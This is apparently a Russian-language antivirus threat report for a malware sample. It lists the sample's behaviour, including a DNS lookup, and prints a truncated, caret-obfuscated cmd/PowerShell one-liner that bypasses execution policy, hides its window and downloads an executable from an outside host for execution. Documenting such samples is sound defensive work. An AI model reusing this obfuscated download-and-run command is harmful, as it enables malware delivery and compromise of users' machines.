Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://transporingsytw.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pOWErSHe^L^l.^exE ^-eXeC^UtionP^oLIcy ^byPas^S -^No^p^ROfile^ -WinDo^wstyl^e h^i^dde^n (n^eW-OBJ^E^c^t^ SyS^T^E^m^.n^Et^.wE^BcLIEnT^)^.^do^wnlo^AdfILe^('http://transporingsytw.w...
Сетевая активность
UDP
- DNS ASK tr#####ringsytw.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pOWErSHe^L^l.^exE ^-eXeC^UtionP^oLIcy ^byPas^S -^No^p^ROfile^ -WinDo^wstyl^e h^i^dde^n (n^eW-OBJ^E^c^t^ SyS^T^E^m^.n^Et^.wE^BcLIEnT^)^.^do^wnlo^AdfILe^('http://transporingsytw.w...' (со скрытым окном)
